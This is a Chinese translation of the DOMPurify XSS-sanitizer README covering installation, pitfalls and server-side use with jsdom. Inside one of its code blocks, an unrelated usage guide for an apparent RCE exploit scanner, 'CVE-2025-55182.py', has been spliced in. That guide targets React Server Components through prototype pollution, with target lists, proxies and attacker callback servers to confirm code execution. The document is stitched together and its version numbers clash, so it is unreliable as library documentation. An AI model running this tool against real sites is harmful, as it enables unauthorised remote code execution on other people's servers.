
DOMPurify v3.4.13
DOMPurify —— 一个仅基于 DOM、超快、高容错的 XSS 过滤器,适用于 HTML、MathML 和 SVG。DOMPurify 默认安全,但提供大量可配置项和钩子。演示:
DOMPurify
DOMPurify 是一款仅基于 DOM、速度极快、极其宽容的 XSS 清理器,适用于 HTML、MathML 和 SVG。
它也非常简单易用,上手很快。DOMPurify 始于 2014 年 2 月,如今已发展到 v3.4.15 版本。
DOMPurify 以 JavaScript 运行,适用于所有现代浏览器(Safari (10+)、Opera (15+)、Edge、Firefox 和 Chrome——以及几乎所有使用 Blink、Gecko 或 WebKit 的其他浏览器)。它在 MSIE 或其他旧版浏览器上不会出错,只是什么都不做。
请注意,DOMPurify v2.5.9 是最后一个支持 MSIE 的版本。如需与 MSIE 兼容的重要安全更新,请使用 2.x 分支。
我们的自动化测试在每次推送时覆盖当前引擎(Ubuntu、macOS 和 Windows 上的 Chromium、Firefox 和 WebKit)上的 9 种浏览器/操作系统组合,并且另有一个矩阵在较旧的引擎快照(大约可追溯到 Chromium 110、Firefox 108 和 WebKit 16.4,约三年前)上重新运行测试套件,以便也能捕获过时浏览器上的回归问题。我们还在 jsdom 上使用 Node.js v20、v22、v24、v25 和 v26 运行 DOMPurify。已知较旧的 Node 版本也能正常工作,但是嘛……不保证。
DOMPurify 由在 Web 攻击和 XSS 方面拥有深厚背景的安全人员编写。无需担心。更多详情,请阅读我们的安全目标与威胁模型。请阅读它。真的,请务必阅读。如果你喜欢那些血腥细节,攻击类别与绕过历史页面记录了 DOMPurify 防御的解析器变异、命名空间、覆盖和模板技巧。
DOMPurify 项目启发了 HTML Sanitizer API 的创建,该 API 已在许多浏览器中发布。同样的能力现在正直接在 WHATWG HTML 规范中进行标准化。
目录
- 它有什么作用?
- 我如何使用它?
- 有演示吗?
- 如果我发现了安全漏洞怎么办?
- 能给一些净化示例吗?
- 支持哪些内容?
- 像 Internet Explorer 这样的旧版浏览器怎么办?
- DOMPurify 和 Trusted Types 呢?
- 我可以配置 DOMPurify 吗?
- 持久化配置
- 钩子
- 已移除的配置
- 持续集成
- 安全邮件列表
- 谁做出了贡献?
它有什么作用?
DOMPurify 净化 HTML 并防止 XSS 攻击。你可以向 DOMPurify 传入例如一个充满脏 HTML 的字符串,它会返回一个干净 HTML 的字符串(除非另有配置)。DOMPurify 会剥离所有包含危险 HTML 的内容,从而防止 XSS 攻击和其他恶意行为。它还快得惊人。我们利用浏览器提供的技术,将它们转化为 XSS 过滤器。你的浏览器越快,DOMPurify 就越快。
我如何使用它?
很简单。只需在你的网站上引入 DOMPurify。
使用未压缩版本(提供 source-map)```html
### 使用经过压缩和测试的生产版本(提供 source-map)```html
<script type="text/javascript" src="dist/purify.min.js"></script>
之后,你可以通过执行以下代码来清理字符串:```js const clean = DOMPurify.sanitize(dirty);
或者,如果你喜欢使用 Angular 或类似框架,也许这个:```js
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize('<b>hello there</b>');
生成的 HTML 可以使用 innerHTML 写入 DOM 元素,或使用 document.write() 写入 DOM。这完全由你决定。
请注意,默认情况下,我们允许 HTML、SVG 和 MathML。如果你只需要 HTML(这可能是一个非常常见的用例),你也可以轻松地进行如下设置:```js
const clean = DOMPurify.sanitize(dirty, { USE_PROFILES: { html: true } });
### 是否存在潜在陷阱?
请注意,如果你_先_清理 HTML,_然后_再修改它,很容易**使清理效果失效**。如果你在清理后将清理过的标记提供给另一个库,请确保该库不会自行处理 HTML。请参阅[安全目标与威胁模型](https://github.com/cure53/DOMPurify/wiki/Security-Goals-&-Threat-Model)了解安全使用方法和需要三思的标签/属性,以及[攻击类别与绕过历史](https://github.com/cure53/DOMPurify/wiki/Attack-Classes-&-Bypass-History)了解为什么后处理和更改标记上下文会破坏清理效果。
### 好的,有道理,继续吧
清理标记后,你还可以查看 `DOMPurify.removed` 属性,了解哪些元素和属性被移除了。请**不要使用**此属性来做任何安全关键决策。这只是一个满足好奇心的小工具。
### 在服务器上运行 DOMPurify
DOMPurify 在技术上也可以配合 Node.js 在服务端运行。我们的支持力求遵循 [Node.js 发布周期](https://nodejs.org/en/about/previous-releases)。
在服务器上运行 DOMPurify 需要存在 DOM,这大概不会让人意外。通常,[jsdom](https://github.com/jsdom/jsdom) 是首选工具,我们**强烈建议**使用最新版本的 _jsdom_。
为什么?因为已知旧版本的 _jsdom_ 存在缺陷,_即使_ DOMPurify 100% 正确执行所有操作,也会导致 XSS。例如,_jsdom v19.0.0_ 中存在**已知攻击向量**,这些在 _jsdom v20.0.0_ 中已修复——因此我们真的建议保持 _jsdom_ 更新。
另请注意,虽然存在 [happy-dom](https://github.com/capricorn86/happy-dom) 等工具,但目前**不被认为安全**。目前不建议将 DOMPurify 与 _happy-dom_ 结合使用,这很可能导致 XSS。关于为什么你选择的服务端 DOM 是你可信计算基的一部分的背景信息,请参阅[攻击类别与绕过历史](https://github.com/cure53/DOMPurify/wiki/Attack-Classes-&-Bypass-History)。
除此之外,你可以在服务器上使用 DOMPurify。大概吧。这实际上取决于 _jsdom_ 或你在服务端使用的任何 DOM。如果你能接受这一点,以下是如何让它工作的方法:```bash
npm install dompurify
npm install jsdom
对于 jsdom(请使用最新版本),这应该可以解决问题:```js const createDOMPurify = require('dompurify'); const { JSDOM } = require('jsdom');
const window = new JSDOM('').window; const DOMPurify = createDOMPurify(window); const clean = DOMPurify.sanitize('hello there');
或者,如果你更喜欢使用导入方式,也可以这样:```js
import { JSDOM } from 'jsdom';
import DOMPurify from 'dompurify';
const window = new JSDOM('').window;
const purify = DOMPurify(window);
const clean = purify.sanitize('<b>hello there</b>');
如果你在特定环境中遇到问题,可以考虑查看出色的 isomorphic-dompurify 项目,它解决了许多人可能遇到的问题。```bash npm install isomorphic-dompurify
## 使用示例
### 1. 基本用法
```bash
# 扫描单个目标
python3 CVE-2025-55182.py -u http://target.com
# 扫描多个目标
python3 CVE-2025-55182.py -f targets.txt
# 使用自定义回调域名
python3 CVE-2025-55182.py -u http://target.com -c your-domain.com
# 使用自定义回调 URL
python3 CVE-2025-55182.py -u http://target.com -r http://your-server.com/callback
2. 高级用法
# 使用代理
python3 CVE-2025-55182.py -u http://target.com -p http://127.0.0.1:8080
# 调整超时和线程数
python3 CVE-2025-55182.py -f targets.txt -t 20 --timeout 15
# 详细输出
python3 CVE-2025-55182.py -u http://target.com -v
# 保存结果
python3 CVE-2025-55182.py -f targets.txt -o results.txt
3. 目标文件格式
http://target1.com
https://target2.com:3000
http://target3.com:8080
工作原理
该工具利用了 React Server Components 中 decodeAction 函数的一个原型污染漏洞:
- 漏洞检测:发送一个带有
Next-Action头的特制请求 - 原型污染:利用
decodeAction中的不安全反序列化 - RCE 触发:通过污染的原型链执行任意代码
- 回调验证:通过 DNS/HTTP 回调确认利用成功
技术细节
该漏洞存在于 React Server Components 的 decodeAction 函数中,该函数在处理序列化数据时未能正确验证输入,导致攻击者可以污染 JavaScript 对象的原型链。
// 易受攻击的代码模式
function decodeAction(data) {
const parsed = JSON.parse(data);
// 缺少原型污染防护
return Object.assign({}, parsed);
}
检测能力
- ✅ 检测 React Server Components 端点
- ✅ 识别易受攻击的 Next.js 版本
- ✅ 通过 DNS 回调验证 RCE
- ✅ 支持批量扫描
- ✅ 代理支持
- ✅ 自定义回调服务器
输出示例
[+] 目标: http://target.com
[+] 检测到 Next.js 应用
[+] 版本: 15.0.0
[+] 存在漏洞: CVE-2025-55182
[+] 已发送回调: http://your-server.com/callback
[+] RCE 验证成功!
免责声明
本工具仅供教育和授权安全测试目的使用。未经授权访问计算机系统是违法的。使用者有责任遵守所有适用的法律法规。作者对任何滥用或由此造成的损害不承担责任。```js import DOMPurify from 'isomorphic-dompurify';
const clean = DOMPurify.sanitize('hello');
## 有演示吗?